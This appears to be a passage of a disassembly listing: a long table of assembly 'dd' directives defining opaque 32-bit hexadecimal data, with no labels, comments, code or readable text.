		dd 99EB405Dh, 0E807F796h, 23BA8495h, 6D80F694h,	4B472E3h
		dd 101B4ED9h, 10CCF24Ah, 0EF02ABD5h, 74B7D78Dh,	0D01DF0A3h
		dd 2410D6A8h, 7DC5DCA0h, 0BC38CB89h, 0A0E836C0h, 0E51EF3F5h
		dd 0B4803B27h, 5362BABFh, 329700A6h, 947CD67h, 430078C9h
		dd 0F9AB4C89h, 7DEBE221h, 54400079h, 2ED2416h, 8B39C8E5h
		dd 87B68544h, 26C2B23Bh, 0ABF483B9h, 14A2A075h,	1C24F6FCh
		dd 40C5DCBAh, 40622265h, 1B000F9Eh, 0F9FBBE0Dh,	1C459629h
		dd 408FF153h, 8248A6AEh, 5F007618h, 0B7D6E3F2h,	80C85Ah
		dd 202B0F97h, 0EAB9E4C4h, 77DAE07h, 0F09CD94Fh,	0B4BF03B1h
		dd 5C0B11C9h, 7C2976F0h, 0CCD61C16h, 0ED36B003h, 8472E83Ch
		dd 0FB1E0530h, 83ACD12Fh, 0A0DDFDAAh, 15770C5Fh, 8294F507h
		dd 4EC7A3h, 86D6C379h, 0CBCC253Bh, 75D04440h, 0BEF3B0A8h
		dd 6C989F2Ch, 4879D381h, 2C346096h, 0EBE3008Bh,	50445B7Dh
		dd 3E3FBB1Eh, 9D860B72h, 0CE7C005Eh, 13CB12C4h,	3DA6CD2h
		dd 23FAC810h, 0F4F5F7B9h, 614866Ah, 0F8AB11h, 0EF7CD35Ah
		dd 0FE3D617h, 0ADD9DA70h, 8E2EB663h, 4443D7B8h,	52EA5Ch
		dd 0ED096546h, 4BBD6BCh, 87522D76h, 0BA7CC097h,	63EC2EFh
		dd 0D5538961h, 7900C7C4h
		dd 684C0DE2h, 5BDD13B7h, 0AC1F005Ch, 8E401EC2h,	7F8A3C01h
		dd 470EC1EFh, 0F584BFCh, 91B44A32h, 0A88400B6h,	0C9D2657Dh
		dd 2955EF00h, 0AE681F20h, 823A01C5h, 0D7C3A88Dh, 0ECB5DC92h
		dd 4DA70C00h, 0FFE46CF6h, 2EE00CB7h, 0DCCA345Bh, 0ABE1B300h
		dd 710D2B56h, 7705E3Bh,	0B0D853D0h, 0EBD779F1h,	320C9A00h
		dd 0BD47100Bh, 1AF76CBh, 1E930A97h, 0C4F6757Fh,	0B41779EDh
		dd 3040315Ch, 4B57B78Bh, 218C24BAh, 8FED0004h, 65C9C7B0h
		dd 9DAF4507h, 452E26Dh,	533C40B4h, 4CFE9013h, 5000A233h
		dd 61D0C602h, 23002B0Eh, 0A88FC505h, 0EBB059h, 3E917C3Ch
		dd 94FA2C13h, 0C93A6317h, 28C06C46h, 48ABEC08h,	95000C97h
		dd 941926CFh, 88300608h, 80AF2129h, 0F0420985h,	0FD8EE249h
		dd 0B8531E82h, 0F83C2060h, 0A200E8F8h, 7BE0BBD7h, 9B84C1h
		dd 7E2DADC2h, 7B03B6Ch,	31E68300h, 4CDE8EEDh, 0E3160041h
		dd 0C47B86E4h, 0CB0B911Ch, 804E78B4h, 8E251A1Ch, 0EE98C9AEh
		dd 0ADCB0460h, 9C858F2Ah, 8C7BF00h, 0A3C2FB14h,	0B0250A07h
		dd 0F1057ADh, 7E7E7981h, 6489A8h, 0EC49AF35h, 12227AA2h
		dd 0C951EB00h, 386FE8FCh, 0D46800EEh, 0C16D487Ch, 0EB00C33Ch
		dd 63D35BBBh, 0E0F88053h, 9118C0F3h, 292C8AE8h,	95819700h
		dd 43B22B98h, 38680169h, 86BBDCC3h, 7E899FC4h, 80C6150Fh
		dd 0A2F5972Ah, 388B01E3h, 2298A36Eh, 0B3188374h, 7CCA3943h
		dd 0BE530360h, 32796F42h, 2A90AFC0h, 867082EDh,	509AA8BAh
		dd 0A2100F54h, 388313C3h, 0E9262A9Ch, 2C8FECE7h, 0B38918BDh
		dd 518A60F3h, 5881D2DAh, 39BD7D18h, 1D898D0h, 859710C5h
		dd 80C23435h, 2B02AF41h, 49BA6EBFh, 45031CA7h, 4831F362h
		dd 0EA81C490h, 86966900h, 60F6A920h, 0D52A34A6h, 0C4600060h
		dd 0E41C62DEh, 4C78E0A0h, 99290403h, 900DD3B2h,	304FAE92h
		dd 0EAC11322h, 0EF012B23h, 96BD4673h, 829C19CDh, 3DF9F1AEh
		dd 0ADF4503Eh, 69788BF6h, 0AE53A400h, 0AACDB63Bh, 0AA8E431h
		dd 0AF29C444h, 0A3130088h, 7871AABh, 0A22668C0h, 0FCF21CACh
		dd 0DE800033h, 0B6C18413h, 8C0381ADh, 9902161Bh, 57F900A0h
		dd 0DB86B8A7h, 7103CC75h, 6F1633D8h, 72FCF44h, 4701C728h
		dd 97E8C2CBh, 0FD98074Ah, 8FA42756h, 4D1BA3C0h,	3C00902Ch
		dd 956B6C81h, 0C0C29F92h, 17633A61h, 0E1008551h, 29860560h
		dd 9A06B7h, 9C044619h, 0E5BB942Eh, 0A3003494h, 0CBAA75E3h
		dd 0B16E003Ah, 0F6790F03h, 0F8EBB386h, 0B50031ECh, 6F12B2CAh
		dd 0A6FEB1h, 0B9A32E3Bh, 5435CBDBh, 7F0041ECh, 0AE3114D5h
		dd 0EB08D9Dh, 0B4D15903h, 0CE5F1180h, 201792Fh,	85C4B298h
		dd 59EC7865h, 0CDFD1E25h, 6F28F0A0h, 0C18452Ch,	0E3423794h
		dd 9150034Ch, 2863A0E2h, 7E5B30D8h, 41F01A00h, 0B37AC98Fh
		dd 0B89B6095h, 0FB313D11h, 0C2A3E403h, 0FE89BDB2h, 0A8F83B18h
		dd 0F3B5A6h, 0F418E06Dh, 0A505EF19h, 0A4831E2Eh, 0FEC5FEC0h
		dd 637654h, 0A2DD8794h,	399E9272h, 659A5307h, 0BD70C0DCh
		dd 0A9A179h, 0B0C5B61Bh, 1EF27115h, 9BEA9300h, 0C334562Eh
		dd 7083617Bh, 814F84EEh, 0CEB7BC38h, 97F399CAh,	3C111ED0h
		dd 0F9E700C7h, 0FC17BB46h, 4C07775Eh, 0ABC873AEh, 767BE11Eh
		dd 0CE708AF7h, 328B1D0Ah, 9E45870h, 0D2607ECDh,	56248A10h
		dd 19343EAEh, 70D04000h, 37A08535h, 0E1CCB100h,	7F8B45FDh
		dd 0AD603147h, 1176B628h, 512A5ECh, 28425B11h, 0A1148202h
		dd 0FC2922ABh, 942B0600h, 89420058h, 41CBB9F9h,	0F80BB47Dh
		dd 0F97DE7Ch, 9A40C015h, 0CE26FAh, 0B9046916h, 45CC8B87h
		dd 17112E00h, 0DD934AF0h, 0F1970035h, 819F2AEFh, 0AF306166h
		dd 75ACF1A9h, 54D6022Eh, 3E211859h, 0C5E7D361h,	3CFE700Eh
		dd 7409D400h, 0B36A38D5h, 28F007h, 493A71E8h, 0D9EC98DBh
		dd 92530900h, 3497601Eh, 0F7253E62h, 6FFFC800h,	0E6D2F075h
		dd 9DEF4200h, 2DAF26CBh, 803D0215h, 0E5A7FE21h,	8E20BC80h
		dd 33F5E38h, 0F7A480E1h, 9C77505h, 29B30024h, 0A3457D6Fh
		dd 6E3D5294h, 0FF22070Fh, 0D537EA41h, 5AC8FE00h, 2D1E004Dh
		dd 3CB94F09h, 0AEF2BEB1h, 0E7FA8998h, 0E53F620Ch, 3B3042h
		dd 0AB48C2E4h, 0F3024A6Fh, 16B40600h, 33B90FCCh, 0D41900B7h
		dd 1C2A6707h, 4F25B02Eh, 75AD8A7h, 0F4BA140Ah, 35130375h
		dd 0D47F02B1h, 0C000200Fh, 1F023E0h, 73C6D21Ah,	80B3122Dh
		dd 8A340AAEh, 251000D6h, 30523AC0h, 5057722Eh, 11E70B00h
		dd 45AE06h, 5322ACA7h, 6D5178FCh, 0F84ACDF1h, 2A008746h
		dd 71733367h, 173E62D9h, 0FA033218h, 1F413500h,	85C9B6h
		dd 0B10CB4D3h, 2842C647h, 0F4710F00h, 0A97DE1EDh, 0B3DE3EC8h
		dd 0A2C1EB87h, 706D10D1h, 0E300B412h, 3E98D5D6h, 3BD830C9h
		dd 0B680B816h, 0A12AA797h, 360002FDh, 46FC5BCFh, 2C2BC11Fh
		dd 5265A4h, 0B17D6E1Bh,	0A8004113h, 3A0C54B0h, 1633304Dh
		dd 3DC62Bh, 26CE85FCh, 2F00BFC8h, 0D6D1D2A2h, 3AEE50CFh
		dd 5280C767h, 72FEE5F9h, 99003779h, 764E26D4h, 3AD79Ch
		dd 6EA21B1Ah, 0A3C5ED5h, 0A7068C07h, 0C357A667h, 992841BFh
		dd 0EC700B36h, 14CA608Ah, 52722607h, 7CEC4D24h,	64F59507h
		dd 4959D2F0h, 385D001Fh, 50C7A50Eh, 7500036Eh, 5F66D1CAh
		dd 1D63B48Bh, 801458E5h, 0D59EFB18h, 0FE00017Dh, 6D43D0C1h
		dd 48D66BC9h, 0B100B0F1h, 1536C2F6h, 0E938858Ah, 0CE3A7B4Eh
		dd 0C7248041h, 0B2046E2Fh, 1C923F98h, 2767BB8Eh, 61DDA3E1h
		dd 7382C8C4h, 83D2893Bh, 3D161922h, 541E037h, 0CD31000Dh
		dd 0DA022065h, 0BE007F30h, 7D18A2F8h, 0A9FFAFh,	549C80B5h
		dd 0C806B947h, 0F90F2C00h, 5789BABBh, 2D5C04E7h, 0D1BFEF36h
		dd 0EC771978h, 0FC007F37h, 0B5CF92C6h, 39FEA9h,	0F328ED18h
		dd 33E54E46h, 6B52FF12h, 94652A47h, 1FA81130h, 2A4F6CDh
		dd 8EF9864Eh, 84A013D9h, 306F9B0Dh, 3FB154Ch, 0FDBF3959h
		dd 0B0E9D9F7h, 0CF9FE840h, 0B9DC0040h, 348E296Bh, 490314DFh
		dd 0C7C626A0h, 0FEC0F5F7h, 22792Bh, 0B90AD81Dh,	0AA1B535Bh
		dd 0A8AD7624h, 1FF70900h, 0A8C66B3h, 500C7B96h,	0C4A700B4h
		dd 0CE313CF8h, 0F1D1ED00h, 631CD55Bh, 4F32001Ah, 42011940h
		dd 6773E38Bh, 80280C01h, 0A321DC3Dh, 1647DC70h,	9857A3Ch
		dd 3C0144C3h, 0D8FC7495h, 710080CAh, 622BC777h,	9C0C4h
		dd 56E0E26h, 0FAA907BAh, 0F09A9201h, 308E3986h,	70CFC8h
		dd 42C75E11h, 0CAD3147Ch, 0BAC88700h, 3985ED7Fh, 9E4C00C5h
		dd 0C7BE16B8h, 7C7C5F98h, 12B4EE01h, 0D25855E7h, 2E8AA840h
		dd 0E30400B2h, 7973C06Ah, 0E8A0E8A3h, 4F391154h, 0B5BB0016h
		dd 0C059E776h, 4CA00D9h, 9DD53960h, 161D9883h, 3DBC81h
		dd 77C7DC9Eh, 1CD37DF8h, 409C5E56h, 6DB1BB3Ch, 120E17ADh
		dd 60ED41DAh, 0A00C1C36h, 56900364h, 0C02E7A2Ch, 0D97680A4h
		dd 0CD168D57h, 800B358h, 0B7435128h, 0F4130278h, 3BC8337Ch
		dd 0F04700C0h, 0AE013C00h, 5AC19806h, 79781E14h, 0A5FCE70Eh
		dd 24A1CB00h, 3E760h, 0F6C94888h, 0B36762CCh, 8E2B39h
		dd 0F80C94E0h, 145F213h, 2216E4A1h, 6E98FE11h, 185AE0h
		dd 150EED6Fh, 44DD5D0h,	0DCE82600h, 0B595BF13h,	0C8960068h
		dd 89E47974h, 0F10707EEh, 9446318Dh, 2008B190h,	933A0118h
		dd 1719B8D6h, 24C1C864h, 678BE105h, 0DF00BD9Dh,	0CBA852E7h
		dd 0F7EC0085h, 961017A4h
		dd 72000773h, 0EEC5DABAh, 0F3F155Bh, 68F1F8D7h,	2090F2A7h
		dd 0EDDFE56h, 6A43110Fh, 6DC0E1E3h, 0CC20717Bh,	0D600B905h
		dd 9B79D343h, 98EA8050h, 7ABF71A9h, 0C328F772h,	3407E4CBh
		dd 51B5578Dh, 965BADE0h, 339E1EC7h, 0CF6B00C6h,	54079BBAh
		dd 2171F00h, 8965226Dh,	0C62003Ah, 44E36441h, 700E052h
		dd 0A8E94BBAh, 3BD6CFD7h, 56804DBCh, 8C22AB99h,	11008B69h
		dd 55508EA4h, 7EC47D19h, 1A0F00F0h, 0BFC5853Dh,	0CC003268h
		dd 0C2EBAD6Fh, 414BE8h,	0D8170F6Dh, 0F0F223E4h,	7C795C2Fh
		dd 0A42233h, 0E73831A9h, 2958DCDh, 0F8846114h, 5A9C00A8h
		dd 0DD57F918h, 14430F78h, 77A079E0h, 9724B740h,	3DF2A177h
		dd 0E4F5031Eh, 5FFF0981h, 0A443D6E2h, 52A9997Dh, 404F8C48h
		dd 17E679A2h, 0C25CDE00h, 0E55D822h, 12760045h,	920346D4h
		dd 6F000711h, 1331D226h, 987D5F37h, 4CC32408h, 567A00DCh
		dd 2C4A3658h, 5C2AE207h, 0BC711538h, 0C4D83A6Eh, 0BB7AE5h
		dd 8DF3B870h, 0DD10E2E3h, 0F97F5C01h, 68A8D9BEh, 0A28830h
		dd 0E62D2792h, 5E74FB85h, 1817A100h, 6C9525D9h,	8B391C15h
		dd 0D0298263h, 41F72FDFh, 48F0B5FDh, 9A4E1EBCh,	0DDE7C121h
		dd 30241EFBh, 96184751h, 0EFB82097h, 984A3Eh, 355C51A0h
		dd 3A0BB31Eh, 6CAC4Eh, 143B151Dh, 0E1570018h, 733E70C2h
		dd 0D000DC28h, 6D48FA0Eh, 0F4474Ah, 0FF6C69F3h,	3EB58674h
		dd 2E7BA401h, 0E6EC060Bh, 654A6082h, 5C50EDE2h,	0C712537Dh
		dd 4A03B976h, 78C3A88Ah, 7818CF88h, 6D64CC81h, 0F1318AECh
		dd 730024B5h, 2E6706C3h, 7E0F1FA4h, 719380FEh, 6D76D9C4h
		dd 6F8BC00h, 4054C8EEh,	5C6470A7h, 9B0551FDh, 0D022DEF0h
		dd 242866DCh, 8444E600h, 7F5FD3B9h, 0C79E056Fh,	40AF2C67h
		dd 0D62E7C8Ch, 0F10F806Eh, 418EDC65h, 4043EC73h, 2C2D64D8h
		dd 80C82F31h, 0A28F4465h, 32F84D5Fh, 0DCAD0CA1h, 0CC0022AFh
		dd 0DCE6705h, 3D8B45DBh, 7681BFA8h, 0E6B137ACh,	82CDE873h
		dd 8C7B1A77h, 0C9749F04h, 0CA804184h, 36982Dh, 6153137h
		dd 0F6322809h, 0AB0EC373h, 0C0D88C81h, 51508D70h, 5F7A0067h
		dd 29567ED4h, 640040A3h, 63D33CBCh, 0BE6A4Fh, 0B3776B8Bh
		dd 3EC6BD6Ch, 0D15C7D00h, 678550ABh, 118E186Fh,	0D456C1E0h
		dd 0A0BC9E00h, 67842D8Ch, 935C2813h, 0C3AE690h,	9CA1BFDEh
		dd 2F1F4510h, 0A0EA17C3h, 9AB06200h, 488E03F1h,	0ACE2001Ah
		dd 0D972667Eh, 0D002B168h, 0B56B3857h, 1BF0A0EAh, 7499EB19h
		dd 1B976D2h, 2CCD5575h,	0C42E0490h, 29001DB6h, 0C3B2A4EFh
		dd 286546h, 0A62DE617h,	0B33CCFC5h, 1415ED1Dh, 713FB004h
		dd 67463C80h, 93861E05h, 0D88BD870h, 5097D6FFh,	128C03BFh
		dd 66F7551Fh, 27B61CA8h, 753D3903h, 98172E6Ch, 978DAAh
		dd 733B33DFh, 0F6F3EAFFh, 6E889A00h, 1C55E91Bh,	7918CF77h
		dd 7C3BF1C0h, 0F3003845h, 8F7AFA27h, 0A5100Dh, 69010626h
		dd 9402B0BEh, 5C93Eh, 66F5E2FDh, 7712891h, 0B2C2343Bh
		dd 0BEB130B8h, 0D09DF308h, 624FE45Ah, 46AD2985h, 0F1E8E00h
		dd 3FEF0519h, 0C0EA955Ch, 0FA49CC06h, 0AA70FB00h, 4C929BA1h
		dd 8F7F61h, 32355463h, 26EDCCE5h, 0E7AD1B1Fh, 45D8B140h
		dd 1E19D6E4h, 40ABD543h, 1C285AAh, 0C8001C94h, 359BB249h
		dd 79CBEB26h, 103FC86h,	747537F4h, 0E049389Ch, 0D300D1ACh
		dd 0CB8FBB05h, 72390Ah,	30BEA651h, 0CEA19B50h, 17963F0Bh
		dd 805688C6h, 0B4D26E00h, 52B6E2h, 0DCE0E7C1h, 0C3D5FD37h
		dd 0C49B7100h, 8C5761CAh, 5E98124Eh, 0B1D607ADh, 0BE534044h
		dd 1F009E09h, 9DE5A25Dh, 0DDE2DAh, 4C97BD10h, 892DD5A7h
		dd 8F0029ECh, 0BFD4B15Bh, 3D097BE9h, 500F25Eh, 2C8202B4h
		dd 0E107604Dh, 0F318293Bh, 73EAE01Fh, 14BCB9E2h, 0E0AB3F7Ah
		dd 62FE0F00h, 0FD843247h, 0DE4C0300h, 4A2E0820h, 8F3B03C9h
		dd 0A29A6438h, 28AC63E8h, 0C68A0500h, 4B91577Fh, 0B69D0061h
		dd 0BB8F98E8h, 5D00A885h, 4C1574F1h, 7AD1D11h, 1855C0D2h
		dd 3E083073h, 2C01CEA5h, 5253498Ah, 0DEC8439h, 2EBE0F19h
		dd 8B46EB12h, 0D47F5945h, 0FF28A48h, 40C0C3C8h,	0FC563D3Ch
		dd 0D2A4007Dh, 0B7F484E6h, 1C000916h, 432833B0h, 727E35h
		dd 243D4838h, 0E82CE5F3h, 300D6B38h, 0A453F9B5h, 6DA200DFh
		dd 0D0258063h, 5800AF51h, 9F2EACAEh, 0E9B562h, 4DCA26FDh
		dd 0D7E39CEFh, 3FC2200h, 29E52F0Ch, 45CF07B2h, 52E91F64h
		dd 8800F2A7h, 88ABF99Eh, 8E01F519h, 4FCC4FEh, 7EC422A9h
		dd 6556006Fh, 7A1A50BCh, 6B003EE1h, 0D7FDC9E3h,	4872A69Dh
		dd 6500B00Fh, 81274E47h, 37006A8Dh, 0C4DA976Ch,	1E026F5Ah
		dd 0CE5E7990h, 80DFBFE6h, 0AA626966h, 3B499A3Eh, 51007968h
		dd 8846725Fh, 1DF8CD54h, 8F7A65D0h, 9C24E4DDh, 0A87480EFh
		dd 501D9C8h, 0AB134C49h, 0D0E810BDh, 126D011Ah,	0F9DEC2E9h
		dd 47FC2004h, 0D40AB101h, 2921A7F5h, 0FCAFC8h, 24E3F3FAh
		dd 14E12A4Ah, 0ECDE9C00h, 521C22A5h, 0D9330027h, 0FE9325DDh
		dd 8E00353Eh, 99CBABF1h, 5167C1h, 2FC5C791h, 8B9F054Dh
		dd 1268720Ch, 8D29B2h, 6E9BC683h, 232D6DF0h, 19BC4414h
		dd 0EEDA0E80h, 1799E038h, 724661Ch, 0B4AC1006h,	60534031h
		dd 9003AF19h, 150EF964h, 28CDC88Ch, 0EAE7AEEh, 1BA20953h
		dd 0E316B260h, 44042DD0h, 472A46CCh, 0A2528C8h,	8C0E4F92h
		dd 0DF0C00C4h, 12A66679h, 51D6051Ch, 0DA501877h, 0A8ACF89h
		dd 0EF722116h, 0F450009Ah, 0D44EE977h, 0B0492D00h, 277A1B9Fh
		dd 8BD0001Ah, 77DB0241h, 820007C8h, 18A46658h, 71DFE112h
		dd 0E43207C9h, 30D303C0h, 0C82DF823h, 0A8A70201h, 72868A83h
		dd 6A35CC50h, 0D41B003Eh, 0F65C760Ah, 7D0E55AAh, 0E0604A97h
		dd 0BCB3D52Bh, 0BA1D00F7h, 0F1CF9D42h, 36001777h, 293403D6h
		dd 2CBDDD4h, 845A0DF5h,	0B8401BCCh, 0ED30A38Ch,	0A941CB3h
		dd 63B7024Eh, 523F497Ch, 8FB9A080h, 2E006434h, 39362F5Eh
		dd 38A46389h, 3B7B7B1Fh, 0DD2CD00Eh, 7C6700F1h,	9F1EE23Eh
		dd 0FC76A700h, 0B5B089F3h, 55DC004Eh, 0B84C6B45h, 15015304h
		dd 0B7DFAC08h, 28E0070Bh, 2BE27Ah, 4FADCCD8h, 52B19C29h
		dd 848618C0h, 0C0083A27h, 6BDD3538h, 0C404472Dh, 25FC0A1Ch
		dd 7220C81h, 3CB511D0h,	0D8808ED6h, 405EBC35h, 0C4FFAB41h
		dd 343D8B0Bh, 364C0EB5h, 19A800E3h, 51AA4A66h, 38CD881Dh
		dd 7A665F4h, 0D8C6FFA1h, 0D41150C5h, 7A0064CBh,	0D686C7D2h
		dd 3F222C72h, 0DF3ED308h, 0AFC17F00h, 7B6EDC79h, 44014979h
		dd 0F44B4C07h, 66F030EFh, 24B0BFh, 0FCD43196h, 11ECE0A9h
		dd 0C1003EFCh, 86AA8A64h, 7F2D229h, 0F18DFA7Bh,	8248E146h
		dd 0C61CD81Bh, 9E8E9100h, 90F6CECFh, 932900C7h,	458E5F8h
		dd 6526B299h, 0A400C8AFh, 0DD6A78A2h, 0FFB1008Eh, 8F80EC44h
		dd 1F002555h, 41F0140Eh, 0FB69EAh, 0EECA0421h, 0AD023182h
		dd 320E512h, 0AC288C0Ah, 53F32D83h, 5D7DA998h, 3B01B020h
		dd 0B5003404h, 8A6CA288h, 0E400594Eh, 32E638Fh,	0F8B02B9h
		dd 7F3C5CF6h, 0DCECA460h, 0BB1D4B53h, 5BC03198h, 0D4F1E616h
		dd 603C01D1h, 43E0B9B1h, 2805CCB2h, 9862BA0Fh, 0E16FCBh
		dd 1440574Dh, 35C70046h, 5F9245F5h, 21C1CAC0h, 8D68A43h
		dd 735C3883h, 0B7E9B6EBh, 2AB620ECh, 1FFA277Ch,	6400AAF0h
		dd 5767E88h, 7F0F55h
		dd 0CFC27828h, 0DEC07AFh, 18F29F3Eh, 47503416h,	492C003Fh
		dd 1F0C358Fh, 7C00B940h, 29DF39F8h, 1C47602Ah, 803E342Dh
		dd 0DB710EB3h, 8E037883h, 985BED80h, 8D0BE17Dh,	0B928A880h
		dd 39F62B06h, 0E29868DBh, 527CECh, 93CA1105h, 8B1CC406h
		dd 0DE43167Fh, 0C9F89064h, 0BCF4F1D3h, 52E80002h, 0C33ED545h
		dd 1B001DD7h, 9AC923EEh, 0E4EAAA90h, 6D3A027Ch,	84C3342Bh
		dd 0DC0F0860h, 0C7060379h, 0B8B1DF4Ch, 7C901390h, 0F9DA00C6h
		dd 9646FFE6h, 3A555403h, 8F252277h, 245A255Fh, 0FCF6B401h
		dd 0D050DC01h, 0C6B08634h, 0E1712B49h, 12079700h, 638B7879h
		dd 9FE812CBh, 19C300B2h, 0CA2267AEh, 413A39h, 93425AFEh
		dd 5B79ABh, 908D9F6Ch, 8FB4E019h, 43C6C200h, 0ECDA0F47h
		dd 187B0037h, 0F538A8F7h, 6C021DB3h, 0F295DEDFh, 34FCA239h
		dd 184487h, 36D5D732h, 69D69048h, 430E7825h, 0B5B004C2h
		dd 0ADBE347h, 0AE0320E7h, 9F5F72BBh, 0D413A381h, 0E1183DEBh
		dd 0CBB95081h, 0BFE69439h, 0AD007F39h, 0AE8F086Bh, 0F8DEF12Ah
		dd 470F48C5h, 2F404600h, 0B0557B85h, 0A936902h,	9D940D56h
		dd 2AC1DF04h, 11876C53h, 0E0A113F3h, 2F1C9CF4h,	0C281DF00h
		dd 891A6608h, 194D67DBh, 0B08281D2h, 21DF026Bh,	869BFE4Eh
		dd 0B314548h, 89D50D60h, 2050CBh, 0F826443Ch, 6BB94B00h
		dd 57D3CC8Dh, 3FAD0168h, 9784C70Eh, 2E98F366h, 820EA7CDh
		dd 210413B8h, 1C90A02Dh, 1E9440E0h, 0BD5B22h, 0BF91CE0Ah
		dd 0A378561Eh, 4FC31500h, 37A84AA1h, 2B40A81Bh,	0CFF700E7h
		dd 0D56A6607h, 941C52B0h, 0D0406191h, 0F702112Eh, 51CE181Eh
		dd 93C5C0C4h, 0BE0D58CFh, 37425500h, 36CB814h, 0AF3A0391h
		dd 0C9C080E8h, 34A0A018h, 0D406B179h, 93157A89h, 14540DF9h
		dd 0BE58E76Dh, 183A3040h, 1DD44873h, 5FBF67EAh,	9C990018h
		dd 396A076Ch, 9C08E02h,	7FF95FAAh, 15246340h, 0C50126F8h
		dd 4E2552B6h, 9864B344h, 0D5220F51h, 0EB1A642h,	40287ACAh
		dd 0D4B72150h, 92008429h, 8C0F4F8Bh, 0E2DFB816h, 17FD00A5h
		dd 0C3EE9193h, 390A1D1Bh, 98CE6BE7h, 6C2B7700h,	290A9527h
		dd 9C2423F6h, 5111E153h, 0CDE9210Ah, 71768790h,	549A191h
		dd 0D8FCE946h, 6A00EE2Ch, 67B7B013h, 0F1BAE20Bh, 12FACAD0h
		dd 4157F8E8h, 0B7269110h, 2FFC40AFh, 0AC00D908h, 0AE9E0B5Ah
		dd 11FD3E7h, 85718351h,	0CC1BCAA8h, 923E7205h, 74B50A1Ch
		dd 9BE57C48h, 53675804h, 0CCB4145Dh, 2C690A00h,	0E787F68Ah
		dd 41806755h, 4F1374h, 2A7112D3h, 5BCB46Dh, 0A677EAFCh
		dd 5CE00101h, 0BB942C2Dh, 0D3F801B0h, 1604AED0h, 1D25C32Fh
		dd 0E6F795E0h, 92C1E212h, 80575801h, 0E8705BEFh, 51CC040Ah
		dd 90CE6F25h, 89DC5528h, 12D3B03Eh, 74210B14h, 0B055B9E9h
		dd 0F42C900Ah, 8886C3D8h, 4E188308h, 50208E34h,	0EC8F4825h
		dd 738FF80h, 240DA717h,	0E0BACD7Ch, 0A99FC10h, 7DE90047h
		dd 7E4D6D9Eh, 24534AB2h, 0A72334h, 0B2C1E731h, 653223FDh
		dd 40992814h, 3C2189CCh, 0AA124813h, 77C40AFh, 0AE9C6FA2h
		dd 80C6093Ch, 0A046D645h, 9E9B391h, 74B5ADAh, 67CA0C40h
		dd 4ED50200h, 0D55047Ch, 0F608002Dh, 37E021EDh,	172ACE84h
		dd 2F008856h, 0FDB42920h, 28C3E95Ah, 905C13EEh,	0EC0B5550h
		dd 131A448h, 32BC986Fh,	495121AEh, 0F0EDF1C4h, 753E8111h
		dd 7007F395h, 17F69192h, 0D10736F0h, 510F06CEh,	0B8C06DCAh
		dd 0ABA3B206h, 0E71DBDDh, 0BD4C1214h, 0B46084h,	9CCA388Ah
		dd 0C4154D9Eh, 0D9FAD600h, 91DD3A45h, 0B18D38C3h, 4748103Eh
		dd 386E3115h, 2888F0C6h, 0ED819039h, 0B2ECCD5Ah, 18BED6ECh
		dd 69B9BC14h, 130FFC50h, 8DC3A312h, 0E98619A0h,	385CAA10h
		dd 0F8A85338h, 0DC2548h, 3793944Fh, 0DBD324h, 0A2AEF854h
		dd 0FE7CFA4Dh, 6E201754h, 12C65C1Ch, 8293440h, 6EAD86Bh
		dd 0FC548BCBh, 0EC00B06Dh, 0C9C2AFD1h, 24890BE6h, 0A60E77Bh
		dd 0DC1AC5h, 60E810CCh,	2A04066Bh, 0FD4BA32h, 978398C0h
		dd 780B4937h, 1BEC5103h, 96B9A243h, 2091D91Fh, 225302B8h
		dd 0A89B03E8h, 0A0D6BC60h, 166D3881h, 431F28A0h, 26B3B144h
		dd 0E4441CDAh, 73BA3112h, 7618F840h, 0E8247AB1h, 6E7AA1h
		dd 0BFC73146h, 9419D69Eh, 52B2AE01h, 0ED2C1D6Fh, 0F7499E0h
		dd 9F398215h, 0B44B7C22h, 0E821B098h, 3408B048h, 0B80896B6h
		dd 0A7DB0324h, 6DF0821Ch, 0C2127A66h, 80D06AF4h, 4308E19h
		dd 83A3782Ch, 26D80751h, 0E0AE45B1h, 0BD50B040h, 34820010h
		dd 6D0B8549h, 41D38EA6h, 0D2747004h, 93513CC0h,	8A7372h
		dd 0AEA9409Ch, 0DEC4EBE9h, 0D31880E5h, 0DDC5440Eh, 1F810068h
		dd 2A822531h, 0CF28D230h, 83168CCCh, 321156CEh,	4A981894h
		dd 28C321D0h, 714E226h,	0E9483B78h, 22309CDBh, 6ED040h
		dd 0AF670A0h, 29E83A05h, 0C200A7EAh, 0C60C40E0h, 3037446Bh
		dd 0A51EB8CBh, 2701F193h, 5CE7FA19h, 0D8F00752h, 0C3A202D9h
		dd 5D728ACBh, 20738C40h, 5300BBE8h, 79C91119h, 1E91729h
		dd 0EDFC06CEh, 0F077C385h, 3213CF90h, 0E02873F8h, 80F559C6h
		dd 4972898Eh, 2884D3FCh, 941B771Fh, 24C8F69Ch, 91341DBFh
		dd 0EE8D0D09h, 61E02967h, 8CCE4854h, 6C68C224h,	0BF485689h
		dd 41830FA0h, 407D307h,	0C9163A7Bh, 104D2621h, 0B3654220h
		dd 0EFDBCA00h, 0F528C878h, 48246E62h, 18E9A6C8h, 0B14E9E96h
		dd 2C24E7B9h, 531EAC75h, 95473840h, 9951639Eh, 22F01040h
		dd 0CE99C60Dh, 1F222832h, 19A0F06Ch, 18A1388Bh,	0FC21151Eh
		dd 78301450h, 4D70261Bh, 245F0424h, 0D8431DC9h,	90EBECA0h
		dd 29505ADFh, 1688390Bh, 280020CCh, 0FA4C3423h,	86A8095Bh
		dd 0EEACA472h, 0B8874C8h, 2BBD7579h, 2C482814h,	252A24C5h
		dd 0A50A2D00h, 921939E0h, 79512EACh, 0E8E682D0h, 68687D0Fh
		dd 3C0F77D3h, 0D5344588h, 58D058DCh, 925F01D8h,	33D232FAh
		dd 0A0F76825h, 7F95F48Bh, 4280AAC5h, 1034E824h,	2425EB89h
		dd 45D43F4h, 811BF491h,	0DF008C96h, 0C4FFCD7Ah,	4B2A8285h
		dd 5092BCCFh, 751B944h,	23DCD465h, 3B4C8A6Bh, 3799F1E1h
		dd 16A8343Fh, 2CDE1C00h, 619EC0A5h, 7FECB051h, 795CA16Dh
		dd 1CD14825h, 0F37A8A43h, 1310F0FBh, 0D16D24B3h, 33E342C0h
		dd 20A70C49h, 5FEE9F18h, 8F838108h, 0D2560D4Dh,	0E969F048h
		dd 6C3F972Ah, 2307579h,	78DD1E3h, 2BB9020Fh, 67AD4AFAh
		dd 427B24C6h, 398A60Fh,	0BD8200F3h, 0E641745Eh,	0AFF9E823h
		dd 6AD50718h, 0B4DDD02Ch, 0B02C11E1h, 9E02DE94h, 58F16779h
		dd 0E064F548h, 3942E09Bh, 0B8800F05h, 0B90BDAD2h, 0E001C12h
